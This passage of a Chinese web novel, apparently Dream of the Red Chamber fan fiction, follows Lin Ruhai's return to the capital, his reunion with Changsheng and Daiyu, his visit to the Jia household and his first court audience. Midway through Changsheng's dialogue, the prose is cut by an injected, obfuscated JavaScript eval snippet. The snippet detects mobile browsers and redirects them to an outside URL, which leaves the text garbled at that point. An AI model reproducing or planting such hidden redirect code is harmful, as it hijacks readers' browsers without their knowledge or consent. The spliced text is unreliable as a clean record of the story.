天还未亮,林宅上下便已忙开了。 林忠领着仆役洒扫庭院,擦拭门楣,连廊下的灯笼都换了新的,厨房里烟火气升腾,厨娘们天不亮就起了,炖汤的炖汤,蒸糕的蒸糕,备着今日的团圆宴。 长生早早起身,换上簇新的宝蓝缎袍,腰系青玉带,头发用同色发带束得整齐。 他站在镜前看着镜中那张尚带稚气的脸,心里百感交集,前世父亲病逝扬州,他三岁夭折,孤魂野鬼数年连父亲的模样都记不清了。这一世,他终于能好生看看父亲,侍奉父亲,让父亲享几年天伦之乐。 “少爷,”林忠在外头叩门,“姑娘问您可收拾妥了?车马已备好,该去驿站接老爷了。” 长生应了声,推门出去。 黛玉已等在廊下,今日穿着藕荷色绣折枝梅的妆花缎袄,下着月白绫裙,发间簪了支珍珠步摇,清雅中透着喜气。她脸色仍有些苍白,可眼里有了光,唇角也噙着淡淡的笑意。 “姐姐今日气色好。”长生走过去。 黛玉替他整了整衣襟,轻声道:“你也长大了,父亲回来见你这般,定会欢喜。” 姐弟二人出门上车,马车驶出巷口,往城西驿站去,晨光熹微,街上行人不多,只几家早点铺子开了门,热气腾腾的。 长生掀帘看着外头,心里却飞到了驿站,父亲此刻在做什么?是在收拾行装,还是在看邸报?四年多未见,父亲可还记得他的模样? 黛玉似看出他紧张,握住他的手:“别怕,父亲最疼咱们。” 长生点头,反握住姐姐的手,是啊,父亲最疼他们。前世如此,今生亦如此。 马车在驿站前停下,这驿站是专接待朝廷官员的,门前立着对石狮,气象森严。 长生下车,见门口已停了几辆马车,沈砚、周文渊正从车上下来。 “沈伯父,周伯父。”长生上前行礼。 沈砚笑着扶他:“不必多礼,你父亲正等着你们呢。”又对黛玉道,“姑娘今日气色好,你父亲见了,定能宽心。” 周文渊也道:“如海兄在扬州最挂念的便是你们姐弟。如今团聚是天大的喜事。” 一行人进了驿站。 驿丞早得了信,引着往后院去,穿过两道月洞门,便见一处清静院落,院中植着几竿翠竹,竹下石桌石凳,简朴雅致。 正房门开着,一个穿着青衫的身影站在门口,正往这边望。 长生脚步一顿。 那人四十来岁年纪,面容清癯,留着短须,眉宇间有书卷气,也有久历官场的沉稳,他穿着半旧的官服,背却挺得笔直,站在那里,像一株经了风霜的竹。 是父亲。林如海。 长生喉头一哽,快步上前,撩袍跪倒:“不孝子长生,给父亲请安。” 林如海伸手扶他,手有些颤。 他打量着长生,从头顶看到脚,又从脚看到头顶,眼里有欣慰,有感慨,也有掩不住的心疼。 “起来,快起来。”林如海声音发哑,“长高了,也长大了。” 长生起身,这才看清父亲的模样。 比记忆中瘦了些,眼角添了细纹,鬓边也有了白发,可那双眼睛看着他们满是慈爱。 “父亲……”黛玉也上前,眼圈红了,却强忍着没落泪,只深深一福,“女儿给父亲请安。” 林如海扶起女儿,仔细端详,四年不见,女儿出落得更清秀了,只是身子仍单薄,脸色也苍白。他握着女儿的手,温声道:“玉儿也长大了,为父在扬州最放心不下的便是你。如今见你安好,为父便安心了。” 黛玉终是忍不住,泪珠滚落:“女儿不孝,让父亲挂心。” “莫哭,莫哭,”林如海替她拭泪,“今日是团圆的日子,该欢喜才是。” 沈砚、周文渊在一旁看着,也都感慨。 沈砚笑道:“如海兄,儿女双全,又都这般懂事,是你的福气。” 周文渊也道:“是啊,长生六岁中秀才,颦儿知书达理,如海兄好福气。” 林如海这才转向二人,拱手道:“这一年多,多亏二位照应,如海感激不尽。” “说这话便见外了,”沈砚道,“你我同年,本该互相扶持。再说,长生这孩子争气,玉儿也懂事,我们照应他们是应当的。” 几人说了会子话,林如海的行装已收拾妥当,不过两箱书,几件衣裳,简朴得不像三品大员。 车马备好,一行人回林宅,林如海与长生、黛玉同车,沈砚、周文渊各自回府,说晚些再来贺喜。 车上,林如海细细问姐弟二人在京中情形。 长生拣要紧的说了,略去那些凶险,只道一切都好,黛玉在一旁补充说长生如何用功读书,如何懂事持家。 林如海听着,不时点头,眼里赞许。 末了,他握着长生的手,温声道:“长生,为父不在,你担起家中重任,照顾姐姐,为父都知道了。你做得很好,为父以你为傲。” 长生眼眶发热,低声道:“这是儿子该做的。” “该做,却不该是你这个年纪该做的,”林如海叹息,“为父对不住你们,让你们小小年纪,便经历这许多。” “父亲莫这样说,”黛玉轻声道,“咱们是一家人,本该同甘共苦。父亲在外为朝廷办事,是正理。咱们在京中,能做的便做些,不能做的,便好生等着父亲回来。” 林如海看着一双儿女,心里又是欣慰,又是酸楚。 如今时隔四年,长生已像个大人,玉儿也懂事得让人心疼,这四年多,他们定是经历了许多才成长得这般快。 马车在林宅前停下。 林忠领着全府仆役在门口迎候,见林如海下车,齐齐行礼:“恭迎老爷回府!” 林如海点头,看着焕然一新的门庭,眼里有感慨。 他离京时这宅子还空置着,如今收拾得齐整雅致,都是儿女的功劳。 进得门来,见院中花木扶疏,小池清浅,锦鲤悠游,处处透着精心打理过的痕迹。 林如海一路看,一路点头,对长生道:“这园子收拾得好,雅而不俗,静而不寂,是你的主意?” 长生道:“是儿子与姐姐一同商量着办的,想着父亲回来有个舒心的住处。” 林如海又看黛玉,黛玉轻声道:“女儿只是提了些想法,都是长生张罗的。” “都好,”林如海微笑,“为父很喜欢。” 一行人进了正厅。 厅中已摆好香案,供着林氏先祖牌位,林如海净手焚香,恭恭敬敬行了礼,这才在正座坐下。 长生与黛玉上前,重新行了大礼。 林如海受了,让二人起身,又让林忠将备好的礼拿来,给长生的是方歙砚,给黛玉的是对羊脂玉镯。 “这砚是为父在扬州得的,是前朝旧物,你读书可用,”林如海对长生道,“这镯子是你母亲留下的,如今给你,也算是个念想。” 黛玉接过镯子,玉质温润,触手生温,她记得母亲戴过这镯子,那时母亲抱着她,镯子在腕间轻轻晃动,泛着柔和的光。 她将镯子小心戴好,轻声道:“谢父亲。” 一家三口说了会子话,外头传饭。 团圆宴摆在花厅,菜式不算奢华,却样样精致,都是林如海素日爱吃的,长生与黛玉陪着父亲用饭,席间说些闲话,气氛温馨。 饭毕,林如海在园中散步。 长生陪着,将园中景致一一指给父亲看,走到秋千旁,林如海停步,看了许久。 “这秋千……” “是儿子新修的,”长生道,“姐姐有时在园中闷了,便来坐坐。” 林如海点头,没说话。 他想起贾敏在时,扬州老宅也有架秋千,那时玉儿还小,最爱荡秋千,贾敏总在底下守着,怕她摔着。如今秋千还在,人却…… “父亲,”长生轻声道,“等父亲歇好了,也来推姐姐荡秋千。姐姐说父亲推的秋千,定是荡得最高的。” 林如海笑了,有些欣慰:“好,等为父歇好了,便来推颦儿荡秋千。” 父子二人又走了会儿,林如海忽道:“长生,为父听说,你在国子监读书,与陈景行交好?” 长生心下一凛,知道父亲要问正事了,恭敬道:“是,陈兄学问好,为人也正派,儿子与他颇谈得来。” “陈景行的父亲陈明礼,是为父同年,在绍兴为官多年,是个清官,”林如海道,“你与他交好,为父是放心的。只是国子监中人多眼杂,你年纪小又出挑,难免招人注意,与人交往,需谨慎些。” “儿子明白,”长生道,“儿子在监中只读书,不结党,不议政,凡事谨言慎行。” 林如海点头,又道:“为父还听说,贾府那边与你们有些龃龉?” 长生沉默片刻,方道:“儿子不敢瞒父亲,贾府确与咱们生分了,自儿子与姐姐进京,贾府几番来请,要接姐姐过府去住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16903685|192023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子想着父亲交代,又见姐姐身子弱,便婉拒了,贾府那边似是不大痛快。” 林如海神情看不出喜怒,只道:“你做得对,为父确是交代你们莫要与贾府走得太近,如今看来,这交代是对的。” 长生抬眼:“父亲,儿子有一事不明。” “你说。” “贾府为何非要接姐姐过去?若说是亲情,可自母亲去后,两家往来已淡了,若说是另有所图……”长生顿了顿,“儿子愚钝,想不明白。” 林如海看着园中景致,半晌方道:“长生,你可知贾府如今的处境?” “儿子略知一二,贾政老爷停职待勘,贾府门庭冷落,圣眷已衰。” “正是。”林如海道,“贾府如今,是内忧外患。内里,子弟不肖,挥霍无度,外头,圣眷已衰,朝中无人,他们急需一根救命稻草,而你姐姐便是他们眼中的稻草。” 长生心一沉:“父亲是说……” “你姐姐是贾府外孙女,又是为父的女儿,若她回了贾府,贾府便可借这层关系,与为父,与林家,重新搭上线,”林如海眼眸暗涌,“再者,你姐姐今年十岁了,再过几年,便该议亲。若她在贾府,这亲事便由不得咱们做主了。” 长生握紧了拳,他早知贾府不怀好意,却未想得这般深。姐姐的婚事若捏在贾府手中,那林家便要被贾府拿捏一辈子。 “父亲,那咱们……” “莫急,”林如海拍拍他肩,“为父既回来了,这些事,自有为父主张,你姐姐的婚事,为父会好生斟酌,断不会让人摆布,更何况玉儿以后无论婚嫁与否,都是林家大小姐,又何必去他府受苦受累。” 长生这才松了口气,有父亲在,他便安心了。 父子二人又说了会子话,林如海面露倦色。 长生忙道:“父亲一路劳顿,该好生歇息。,儿子送父亲回房。” 林如海确也累了,由长生扶着回房。 房中已收拾妥当,床铺整洁,熏了安神香,林如海洗漱后歇下,长生替他掖好被角,这才轻轻退出来。 站在廊下,看着满院春光,长生心里是从未有过的踏实,父亲回来了,这个家,便完整了,那些风雨,那些算计,有父亲在他便不怕了。 而此刻,荣国府里,却是另一番光景。 贾母院里,王夫人、邢夫人、王熙凤都在,贾母靠在榻上,脸色不大好,跟前小几上摆着碗药,已凉了。 “听说林姑爷今日回府了?”贾母闭着眼问。 王夫人道:“是,一早就回去了,沈大人、周大人都去接了,阵仗不小。” 贾母睁开眼,眼里有复杂神色:“林姑爷这一回京,便是户部右侍郎,正三品,往后怕是更不好攀了。” 邢夫人嘟囔道:“原本是亲戚,如今倒像仇人,前几次去接林丫头,连门都没让进,如今林姑爷回来了,只怕……” “你少说两句,”贾母斥道,又看向王夫人,“前日让你备的礼,可备好了?” “备好了,”王夫人道,“是两匹宫缎,一盒老参,还有几样文房。母亲看,何时送去合适?” 贾母沉吟片刻:“明日罢。林姑爷刚回府,总要歇息一日,你亲自去,带着凤丫头,话要说得好听些,只说听说林姑爷回京,特来贺喜。至于林丫头……别提接她回来的事,只说老太太想她了,让她得闲回来坐坐。” 王夫人应了,心里却不以为然,林如海那般精明,岂会看不出她们的心思?只是老太太发了话,她不得不从。 王熙凤在一旁听着,心里明镜似的,贾府如今这般,急需与林家重修旧好,可这“好”,怕是难修了。林长生那孩子,看着年小,心思却深,林如海又是个有主意的,贾府想拿捏林家,难。 可这话她不能说,只笑道:“老太太放心,明日我与太太同去,定把话说得妥妥帖帖的,林姑爷是明理人,咱们诚心诚意去贺喜,他总不会给咱们没脸。” 贾母点头,又闭上眼,心里却是一片怅惘,敏儿去得早,留下这一双儿女,如今都与贾府生分了,林如海升了官,林家眼看着要起来了,可这“起来”,与贾府却无甚关系了。 这世上的事,真是难以预料。 窗外暮色渐浓,荣国府的灯火次第亮起,灯火寂寥,气氛微妙。 而林宅里,却是灯火温馨,笑语隐隐。 一家团聚的第一夜,注定是安宁的,美好的。 至于明日……明日的事,明日再说罢。 17.林如海初试荣国府 次日,晨光熹微。 林如海寅正时分便醒了,多年官场生涯养成的习惯即便在归家的第一日也不曾改变。 他披衣起身,推开窗,见院中薄雾未散,新移的花木挂着露珠,那方小池水面如镜,倒映着天光云影。 自那年秋日离京赴任扬州,至今已过数年,如今归来,宅子还是那座宅子,人却都不同了。 正出神,外头传来极轻的脚步声,林如海回头,见长生已穿戴整齐,站在门外廊下。 “你起得倒早。”林如海道。 “今日是母亲忌辰,儿子不敢贪睡,”长生走近低声说,“祠堂已洒扫干净,母亲的牌位也请出来了,厨下备了母亲素日爱吃的几样点心,父亲可要先去看看?” 林如海点头,父子二人往后院祠堂去,路上他问,“你姐姐可起了?” “姐姐卯初便起了,在佛堂为母亲诵经,”长生道,“说今日是母亲忌辰,要多诵几卷。” 林家祠堂设在正院东厢,三间敞亮屋子,正中供着林氏先祖牌位,贾敏的灵位单独设在一旁的紫檀木神龛里,是林如海此次回京,特意从扬州一路贴身带来的。 正说着,黛玉从佛堂出来,眼圈微红,显然是哭过,见父亲与弟弟在说话,她敛衽行礼:“父亲。” 林如海点点头,看着自己的女儿,林黛玉今日穿着月白素缎袄,下系青绫裙,发间只簪了朵白绒花,她眼眶微红,此刻却强忍着,这让林如海心如刀割。 林如海没说什么,先行进了祠堂,净了手,亲自点上三炷香,插进宣德炉,青烟袅袅升起。 香案上供着贾敏牌位,前头摆着几样她生前爱吃的点心,林如海望着牌位上“先室贾氏讳敏之灵位”几个字眼前恍惚又见妻子的笑。 彼时,他尚未高中探花,而那荣国府尚未出阁的小姐贾敏又何等的金尊玉贵,因杖着林家五世袭候爵位,在皇帝面前挂了名,尚且与贾府门当户对加上潜力估量,如此一来郎才女貌便看对了眼成了姻缘。 后来自己考中探花,后为兰台寺大夫,又钦点为巡盐御史去了扬州,贾敏此时身体已不大好。夫妻二人抵扬州不过数年,贾敏便病逝,长生也险些夭折随了去。 “敏儿,”林如海在心里默念,“玉儿长大了,长生也懂事了,你在天之灵,可都看见了?” 长生和黛玉在旁,长生上前插香拜三拜,尽管生前对母亲尚无记忆,但在前世孤魂野鬼时也与母亲做了几年鬼儿子已然无憾,母亲与姐姐和其相似,同样黠慧伶俐、咏絮才高。 最后林如海领着儿女跪下,三叩首。 祭奠完毕,天已大亮。 “父亲,”长生扶着姐姐起身,“厨下备了早饭,是扬州风味的千层油糕和翡翠烧卖,父亲可要用些?” 林如海点头:“难为你记得。” 一家三口往饭厅去。 早饭简单精致,林如海吃着家乡味道,心里却想着别的事。 圣上前日密诏觐见时说的话,犹在耳边: “爱卿不愧是朕的股肱之臣,你在扬州办得好,盐务积弊,非刚正不能肃清,只是……” 圣上当时指尖在御案上轻叩,“水至清则无鱼,贾府那边面子上总要过得去,爱卿应当明白朕的意思。” 他当然明白,圣上既要肃清盐政,又要维持朝局平衡,贾府虽颓却未倒。 元妃仍在宫中,王子腾仍是京营节度使,史家、王家盘根错节,敲打可以,撕破脸却不行。 所以这表面功夫,还得做。 饭毕,林如海对长生道:“今日我去趟荣国府,你与玉儿在家,若来人拜访,便说我出门了,改日再叙。” 长生一怔:“父亲今日便去?贾府那边……” “正是今日去,才显得郑重,”林如海神色如常,“你外祖母毕竟是你母亲的生母,这些年虽疏远,礼数不可废,我既回京,头一日便该去拜见。” 长生懂了,父亲这是要抢在贾府登门之前,先把礼数做足,既全了情面,又占了主动。 “儿子陪父亲同去?” “不必,”林如海摇头,“你与你姐姐在家,有些话,大人之间说便好。” 林如海又看向黛玉,道,“你们在家,好生陪你母亲说说话。” 黛玉聪慧,立时明白父亲用意,轻声道:“父亲早去早回,贾府终究不是自己家。” 这话说得含蓄,林如海却听懂了,女儿是在提醒他莫要被亲情所缚。 “为父省得。”他拍拍女儿的手,“好生喝药。” 林如海不再多言,朝外走去,长生讨巧拉着姐姐去看锦鲤解解闷。 林如海临出门,忽见廊下站着个穿水绿袄子的小丫鬟,正拿着喷壶给花草浇水,那丫鬟约莫十六七岁年纪,生得倒是精致,尤其眉心一点胭脂记,格外显眼。 林如海脚步一顿。 这面容……他似在哪里见过。 “父亲?”不远处,看陪姐姐看锦鲤的长生见他停步,于是把饵料递给姐姐,过父亲那边轻声唤道。 林如海回过神,问:“那丫鬟是……” “是香菱,姐姐的伴读,”长生道,“去年元宵从拐子手里救下的,无名无姓,姐姐便收留了她。” 香菱,无名无姓,眉心胭脂记。 电光石火间,林如海想起一桩旧事,十几年前三年他还在扬州任职时,曾听同僚提起,苏州乡宦甄士隐丢了女儿,那女孩眉心便有一点胭脂记,甄家为此倾家荡产寻女,最后甄士隐看破红尘出家去了。 难道…… 林如海按下心中惊疑,面上不露分毫,只道:“是个齐整孩子,你姐姐有她相伴,也好。” 说罢登车而去。 马车驶向荣国府,林如海坐在车中,闭目养神。 香菱的事,他记下了,若真是甄家女儿,其中牵扯恐怕不小,但近期隐约听长生提及半本账册之事,看来长生还有些底细藏着掖着,若甄士隐与贾、王二家无真无半点牵扯,认亲之事倒是可以提上日程。 正思量着,车已到荣国府西角门,门房见是林如海,忙不迭进去通传。 不多时,贾琏亲自迎了出来。 “姑父回来了!”贾琏今日穿戴整齐,满脸堆笑,“老太太一早就念叨呢,说姑父今日必来,快请进,快请进。” 林如海下车,与贾琏寒暄几句,一同进府。 一路上,但见荣国府虽仍气派,却透着一股子萧索,回廊下的灯笼旧了,园子里的花草也疏于打理,几个小丫鬟聚在一处说闲话,见他们来才慌慌张散开。 贾琏有些尴尬,解释道:“这几日园子里修整,乱了些,姑父莫怪。” 林如海只淡淡一笑:“无妨。” 到了荣庆堂,贾母已在正堂等着。 王夫人、邢夫人、王熙凤等人都在,连久不出门的李纨也来了,见林如海进来,贾母未语先红了眼眶: “如海……你可算回来了。” 林如海上前,撩袍行礼:“小婿给岳母请安,岳母福体安康。” 贾母忙让人扶起,拉着他上下打量:“瘦了,扬州那边辛苦你了。” “为朝廷办事,不敢言辛苦,”林如海恭谨道,“倒是岳母瞧着清减了些,可是身子不适?” “老了,不中用了,”贾母拭泪,“你回来就好,回来就好,长生和黛玉呢?怎么没一同来?” “孩子们在家祭奠他们母亲,”林如海道,“今日是敏儿忌辰。” 堂上一静。 贾母眼泪又下来了:“敏儿……我的敏儿啊……” 哭了几声,方道,“是该祭奠,敏儿去得早,留下这两个孩子也是可怜。”又对王夫人道,“你去备些祭品明日送到林府去。敏儿虽去了终究是咱们家的女儿。” 林如海:? 王夫人应了。 林如海谢过,又道:“小婿在扬州,时常念及岳母。如今回来,本该早日来请安,只是昨日刚到,诸事未定恐失了礼数,故今日才来。” 这话说得滴水不漏,既全了礼数,又解释了为何昨日不来,刚到京,要安顿。 至于为何今日来,是因为今日是贾敏忌辰,显得有情有义。 贾母心里明镜似的,面上却只做感动:“你有心了,敏儿若在见你这般,也该欣慰。” 又说些闲话,问扬州风土,问一路辛苦。 林如海一一答了,态度恭谨疏离,王夫人几次想插话都被贾母用眼神止住。 末了,贾母道:“如海啊,你如今回了京,往后便是一家人常来常往,长生和黛玉年纪小,你公务又忙,若有什么不便,只管开口,咱们府里虽不比从前,照应两个孩子还是够的。” 这话说得情深义重,林如海听懂了,这是递台阶,要重修旧好,这可能吗? 他微微一笑:“岳母说得是,只是长生如今在国子监读书,有严先生以及其他名士教导,黛玉身子弱,需静养,倒不好常来叨扰,再者,小婿既回了京,自当好生教养子女,不敢再劳动岳母费心。” 这话更情深义重,直接把路堵死了。 孩子有先生教,有病要养,我这个当父亲的回来了,自然自己管,不劳您费心。 贾母脸上的笑淡了些,却仍撑着:“说得也是,你既回来了,自然是你管教,到底是亲戚,常走动才是。” “岳母教训的是,”林如海从善如流,“待小婿安顿妥当,定带孩子们来给岳母请安。” 又说了会子话,林如海起身告辞,贾母让人拿出备好的礼,两匹宫缎,一盒老参,几样文房,还有给长生、黛玉的衣物玩器。 林如海谢过照收不误,辞出荣庆堂。 贾琏送他出府,一路无话,到二门,林如海忽停步,对贾琏道:“你如今在府里管事?” 贾琏忙道:“帮着料理些杂事,姑父见笑。” “年轻人,该做些正经事,”林如海淡淡道,“我听说你父亲身子不大好,你是长子,该多分担些,若有难处,可来寻我。” 这话说得让贾琏听出深意,林如海这是在递橄榄枝,不是给贾府,是给他贾琏个人。 “谢姑父提点,”贾琏躬身,“侄儿记住了。” 林如海到了二门便忽然停下,回头看了一眼,倒是物是人非事事休,忽见贾宝玉与一众女眷嬉闹,期间有一丫鬟柔媚姣俏,穿着银红色袄儿,青锻背 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而此刻林府中,林如海刚回府,老仆便来禀报少爷在书房等候。林如海正好有许多疑惑,去了。 “父亲回来了,”长生迎上来,“贾府那边……” “礼数到了,话也说明白了。”林如海坐下,喝了口茶,“往后他们该知道分寸。” 空气一阵沉默,林如海干喝茶,等着儿子下一步。 长生道:“父亲,儿子有一事禀报。” “你说。” 长生从书架暗格中取出那本账册,双手奉上:“这是甄士隐先生送来的,说是那王姓盐商死前托付,儿子不敢擅动,等父亲回来定夺。” 林如海接过账册,翻了几页,神色凝重。 良久,他合上账册,看向长生:“甄士隐可是苏州那位甄先生?如今去哪了?” 林如海在装,既然这是儿子自己查出来的,那么自己这个当父亲的,只能装作三不知等儿子说了。 “正是,”长生将甄士隐夜访、托付账册、提及被人追踪之事一一说了,末了道,“甄先生如今已离京南去说要去寻个清净地方。” 林如海沉默片刻,道:“这事你做得对,这账册关系重大,不可轻动。”他话题一转,“你先前信中说,甄先生还有个女儿被拐?” “是,小名英莲,眉心有一点胭脂痣。”长生说完,心中一动,“父亲今日见着那丫鬟便是香菱。” “眉心那点胭脂记,倒是特别。” “父亲也注意到了?”长生道,“姐姐初见她时也觉得那胭脂记生得巧像是画上去的,后来才知是天生的。” 林如海不再多问,看着长生:“你打算如何?” 长生沉吟片刻:“儿子原想,既知香菱身世,该告诉她,也该告知甄先生,可如今时机未到,甄先生已离京南下,行踪不定,且……”他斟酌语句,“且香菱在咱们家过得安稳,若骤然说破,怕她承受不住,再者那些人既在寻甄先生,若知他女儿在咱们府上,恐生变故。” 林如海点头:“你虑得周全,只是——” 见长生懵懂,他话锋一转意在点醒长生人情之道,“甄士隐此人,才华横溢,当年若非家变,早该在仕途上有一番作为,如今他虽出家,未必就真断了尘念。若我们能帮他父女团聚,一来是行善积德,二来……这样的人情,值得做。” 长生会意,眼睛一亮:“父亲的意思是……” “为父此次回京,圣上虽委以户部重任,可朝中根基尚浅,甄士隐在士林中颇有清名,若能得他相助,哪怕只是做个清客幕僚,对为父,对林家,都大有裨益。”林如海翻阅账本,“况且,他手中那本账册,牵涉甚广,若我们能保他周全,他自然知道该怎么做。” “那儿子即刻派人去寻甄先生下落?” “不必,”林如海摆手,“这事急不得,甄先生既已离京,定是寻了隐秘去处,我们若大张旗鼓去寻,反倒引人注意,且等一等,待朝中局势稳定些,再暗中打听不迟。” 林如海忽然想到了些什么,又道:“至于香菱那边,你姐姐既待她好,便让她好生伺候着。日常用度,不必苛待,若她想起什么,或是甄先生有消息,咱们再见机行事。” “儿子明白了。” 正说着,外头传来黛玉的声音:“父亲可在?” 林如海将账册收起,扬声道:“进来。” 黛玉推门进来,手里捧着个锦盒:“父亲,这是女儿抄的《金刚经》,共四十九卷,想在母亲灵前焚了,告慰母亲在天之灵。” 林如海接过,翻开一看,字迹清秀工整,一笔一划皆见诚心,他眼眶微热,温声道:“难为你有这片孝心,你母亲若知,定会欣慰。” 黛玉低头:“女儿能做的,也只有这些了。” 林黛玉悄悄瞧了一眼父亲身边的长生。 “这些便够了,”林如海看着一双儿女,心中感慨万千,“你们好好的,你母亲在天之灵,便是最大的安慰。” 窗外春光正好,院中花香隐隐,一家三口在书房说话,气氛温馨安宁,隐约笑声传出。 18.朝堂初立 四月十五,大朝。 寅时三刻,天色阴沉未亮,林如海已穿戴齐整。 三品侍郎的绯色官袍,腰束金带,头戴乌纱,衬得他面容清俊中更添几分威严。 长生送至二门,道:“父亲今日入朝堂,万事谨慎。” 林如海亲昵拍拍儿子的头:“为父省得,你在家好生读书,照应你姐姐。” 马车驶出巷口,碾过青石板路。 林如海心里想着今日朝会,圣上虽召他回京,又擢入户部,可这朝堂上的水,比扬州盐政还深。 清流一派,勋贵一党,还有那些观望的中立派……今日这一遭,便是试水。 至午门外,天色微明。百官已陆续到了,三五成群站着说话。林如海下车,立时引来不少目光。 “林大人!”一声清朗招呼,是都察院左副都御史沈砚,他今日穿着青袍,笑容满面迎上来,“一路辛苦,昨日递了帖子到府上,说您歇息未归,今日可算见着了。” 二人分明昨日还密谋今后,如今这番应当是故意为之,假意久别重逢,演给众人看罢了。 如此,林如海拱手:“劳沈兄挂念,本该早去拜会,只是初回京中,诸事待理。” “不妨事,不妨事,”沈砚引他往人群中去,“周大人方才还问起您呢。” 周文渊果然也在,与几位文官站在一处,见林如海来,都拱手见礼。这几人林如海大多认得,有国子监祭酒、翰林院学士,都是清流一脉,他们面上带着笑,眼里得意,有扬眉吐气之色。(?) “如海兄,”周文渊握他手,压低声音,“今日朝会,圣上怕是要问盐务后续。你心里要有数。” 林如海点头:“多谢周兄提醒。” 正说着,那边传来一阵喧哗。 几位勋贵到了,为首的是位穿着麒麟补服的老者——镇国公牛继宗。此人年过五旬,面白微须,一双眼睛精光内敛,是勋贵中的头面人物,他身后跟着几位侯伯,其中就有理国公柳彪、齐国公陈瑞文等人。 牛继宗目光扫过林如海,脚步顿了顿,终究还是走过来。 “林侍郎。”他开口,语气平淡,“回京了?” 林如海拱手:“镇国公,下官昨日方归,还未及拜会。” “拜会就不必了,”牛继宗淡道,“林侍郎在扬州办了好差事,圣上倚重,日后同朝为官,还望多多照应。” 这话听着客气,林如海神色不变:“镇国公言重。下官初入户部,诸事不熟,还要向诸位老大人请教。” 牛继宗点点头,不再多言,引着众人往里去。 沈砚在林如海耳边低语:“这位镇国公,与贾府、王府都有姻亲。他今日这般态度,怕是对盐案之事仍有芥蒂,他的孙儿前几年在国子监与长生发生了矛盾。” 林如海了然,盐案虽了,可牵扯的几位勋贵子弟,多少与牛继宗有些关系。 他这趟回京,确是挡了不少人的路,再者,长生不愧是自己的儿子,小的对着小的,大的又发生了怨怼。 钟鼓声起,百官鱼贯入朝。 金銮殿上,龙椅空悬。 百官依序站定,林如海立在户部侍郎的位置,正三品在六部中不算最高,可户部掌天下钱粮,是个实权位置。两侧投来的目光有善意,有审视,也有隐晦的敌意,身旁陈启年的目光尤为怨怼。 “圣上驾到——” 太监尖细的嗓音响起,百官跪拜,明黄色龙袍从眼前掠过,林如海垂首,听见御座上传来沉稳的声音:“众卿平身。” 起身,抬眼,御座上那位,年不过三十,面容清俊,再往上林如海便低了头不敢再看。 这便是今上,登基不过十年,已显明君气象。 朝会开始,先是各部奏事,多是寻常政务。 林如海静静听着,不发一言,等着今日的重头戏。 果然,待诸事奏毕,圣上开口:“林如海。” “臣在。”林如海出列,躬身。 “扬州盐务,你办得不错,”圣上的声音传遍大殿,“盐税增了三成,贪墨肃清,朕心甚慰。” “臣不敢居功,皆赖圣上英明,同僚协力。” “不必过谦。”圣上顿了顿,“朕调爱卿回京,入户部,便是看重你理财之能,如今国库空虚,边关吃紧,你有何见解?” 来了,林如海心里暗笑,沉声道:“臣以为,理财之道,开源节流并重,开源,在于整顿商税、漕运,节流,在于裁撤冗员、削减虚耗。臣在扬州时,曾拟过几条章程,若圣上允准,臣可详细奏陈。” “准。”圣上点头,“三日内,将章程呈上来。” “臣遵旨。” 林如海退回班列,能感觉到那些目光更复杂了,圣上这态度分明是重用,户部那些旧人怕是要坐不住了。 果然,户部尚书陈启年出列:“圣上,林侍郎初入户部恐不熟悉部务,臣以为,当循序渐进为好。” 这是要压一压了。 林如海神色不动,只听圣上道:“陈卿所言有理,林爱卿你可先熟悉部务,章程之事,可与陈卿商议。” “臣遵旨。” 陈启年退回,与身旁的户部左侍郎对视一眼,眼中皆有得色,林如海看在眼里,心里却冷笑。 圣上让他与陈启年商议,表面是给陈启年面子,实则是将难题踢给了陈启年——章程是他林如海拟的,若陈启年反对,便是阻挠新政;若同意,便是认了他林如海在户部的地位。 高明。 朝会又议了几件事,便散了。 百官退出金銮殿,三三两两说话。 沈砚、周文渊走过来,低声道:“如海兄,今日圣上态度,你瞧明白了?” “明白,”林如海点头,“圣上这是要借我的手,整顿户部。” “不止户部。”周文渊道,“盐案虽了,可那些人不会甘心,你如今是他们的眼中钉,万事小心。” 正说着,一位穿着锦鸡补服的中年官员从旁经过,正是京营节度使王子腾,他面色阴郁,目光扫过三人,淡淡道:“林大人今日初入朝堂,便得圣上垂询,可喜可贺。” 林如海拱手:“王节度使谬赞,下官初来乍到,还望王节度使多多指教。” “指教不敢。”王子腾似笑非笑,“只是户部事务繁杂,林大人可要仔细些,莫要行差踏错,辜负了圣上厚望。” 这话绵里藏针,对林如海来说不痛不痒。 林如海神色不变:“下官谨记。” 王子腾不再多言,转身走了,沈砚看着他的背影,冷笑道:“这位王节度使,原听说这几年要升九省统制,如今看来怕是悬了。” 林如海心中一动,王子腾任京营节度使多年,掌京畿防务,权势不小,若再升九省统制,便是封疆大吏,权势更盛。可如今圣上调他回京,又重用清流,分明是要制衡勋贵。王子腾这升迁,怕是真要“不了了之”了。 “无妨。”林如海淡淡道,“他升他的,我做我的。” 出了宫门,各自上车回府。 林如海靠在车厢里,今日这一遭,算是过了第一关,圣上态度明确,清流一脉支持,陈启年等人虽有微词却不敢明着反对。 至于王子腾,此人城府极深,今日不过是试探,真正的较量,还在后头。 马车在林府门前停下。 林如海下车,见长生已在门口等候。 “父亲。”长生迎上来,“朝会可还顺利?” “尚可,”林如海与儿子一同往里走,“圣上问了盐务又让我拟理财章程,户部那边怕是要有一番周折。” 父子二人进了书房,林如海将朝会情形细细说了。长生静静听着,末了道:“父亲,陈尚书那边,您打算如何应对?” “以静制动,”林如海道,“我先熟悉部务,章程慢慢拟,陈启年若识趣便与我合作,若不识趣……圣上自有圣断。” 长生点头,又道:“儿子今日得了消息,甄士隐先生有下落了。” 林如海精神一振:“在何处?” “在京南三百里的云霞观,”长生低声道,“儿子托了严先生的门路,悄悄打听的,甄先生确实在那儿挂单,平日深居简出,很少见客。” “云霞观……”林如海沉吟,“那是处僻静道观,香火不盛,倒是个藏身的好去处。你打算 